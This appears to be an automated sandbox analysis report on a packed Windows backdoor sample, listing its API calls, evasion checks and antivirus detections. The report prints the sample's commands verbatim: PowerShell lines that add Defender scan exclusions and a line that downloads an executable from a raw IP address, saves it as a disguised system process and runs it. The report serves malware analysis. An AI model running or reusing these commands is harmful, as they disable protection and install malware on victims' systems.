NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006de000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006df000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00790000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007af000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	"powershell" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData"
cmdline	"powershell" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	"powershell" -Command "Invoke-WebRequest -Uri 'http://193.222.96.225/server/website2014523652458952/blue/Gcode_Secure/Gcode.exe' -OutFile 'C:\Users\test22\AppData\Roaming\WmiPrvSE.exe'; Start-Process 'C:\Users\test22\AppData\Roaming\WmiPrvSE.exe'"

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW March 20, 2024, 7:55 a.m.	thread_identifier: 2076 thread_handle: 0x000002e4 process_identifier: 2072 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "powershell" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000002e0	1	1
CreateProcessInternalW March 20, 2024, 7:55 a.m.	thread_identifier: 2124 thread_handle: 0x00000314 process_identifier: 2120 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "powershell" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000030c	1	1
CreateProcessInternalW March 20, 2024, 7:56 a.m.	thread_identifier: 2780 thread_handle: 0x00000280 process_identifier: 2776 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "powershell" -Command "Invoke-WebRequest -Uri 'http://193.222.96.225/server/website2014523652458952/blue/Gcode_Secure/Gcode.exe' -OutFile 'C:\Users\test22\AppData\Roaming\WmiPrvSE.exe'; Start-Process 'C:\Users\test22\AppData\Roaming\WmiPrvSE.exe'" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000002f4	1	1

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x00780000 process_handle: 0xffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses March 20, 2024, 7:55 a.m.	flags: 1158 family: 0	1	0	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0005c600', u'virtual_address': u'0x00038000', u'entropy': 7.552778332808924, u'name': u'.;2@', u'virtual_size': u'0x0005c59c'}

entropy

7.55277833281

description

A section with a high entropy has been found

entropy

0.993279569892

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW March 20, 2024, 7:55 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 20, 2024, 7:55 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 20, 2024, 7:56 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

C:\Users\test22\AppData\Roaming\WmiPrvSE.exe

File has been identified by 56 AntiVirus engines on VirusTotal as malicious (50 out of 56 events)

Bkav	W32.AIDetectMalware.CS
Lionic	Trojan.Win32.Androm.m!c
Elastic	malicious (high confidence)
Skyhigh	BehavesLike.Win32.Generic.fc
ALYac	Gen:Variant.Lazy.496966
Cylance	unsafe
VIPRE	Gen:Variant.Lazy.496966
Sangfor	Virus.Win32.Save.a
K7AntiVirus	Trojan ( 005a54d91 )
BitDefender	Gen:Variant.Lazy.496966
K7GW	Trojan ( 005a54d91 )
Cybereason	malicious.54ddda
Arcabit	Trojan.Lazy.D79546
VirIT	Trojan.Win32.MSIL_Heur.D
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/Packed.VMProtect.D suspicious
APEX	Malicious
McAfee	Artemis!F727C0754DDD
Avast	Win32:BackdoorX-gen [Trj]
Kaspersky	HEUR:Backdoor.MSIL.Androm.gen
Alibaba	Backdoor:MSIL/Androm.afbec5c8
NANO-Antivirus	Trojan.Win32.VMProtect.kkeuyx
MicroWorld-eScan	Gen:Variant.Lazy.496966
Rising	Malware.Obfus/MSIL@AI.81 (RDM.MSIL2:SCrD2c3i/I5DBCma9nuiHQ)
Emsisoft	Gen:Variant.Lazy.496966 (B)
F-Secure	Heuristic.HEUR/AGEN.1365698
DrWeb	Trojan.Siggen27.2545
TrendMicro	TROJ_GEN.R03BC0XC924
Trapmine	malicious.high.ml.score
FireEye	Generic.mg.f727c0754ddda4ed
Sophos	Generic Reputation PUA (PUA)
Ikarus	Trojan.MSIL.Krypt
Google	Detected
Avira	HEUR/AGEN.1365698
MAX	malware (ai score=85)
Antiy-AVL	Trojan[Packed]/MSIL.VMProtect
Kingsoft	Win32.HeurC.KVMH008.a
Gridinsoft	Trojan.Heur!.022130A1
Microsoft	Trojan:Win32/Leonem
ZoneAlarm	HEUR:Backdoor.MSIL.Androm.gen
GData	Gen:Variant.Lazy.496966
Varist	W32/MSIL_Agent.HJH.gen!Eldorado
AhnLab-V3	Trojan/Win.Generic.C5601738
Acronis	suspicious
BitDefenderTheta	Gen:NN.ZemsilF.36802.xy0@aStHqle
DeepInstinct	MALICIOUS
Malwarebytes	MachineLearning/Anomalous.100%
TrendMicro-HouseCall	TROJ_GEN.R03BC0XC924
Tencent	Malware.Win32.Gencirc.1404598f
Yandex	Riskware.VMProtect!wDleVeuzV3I

taskhostw.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All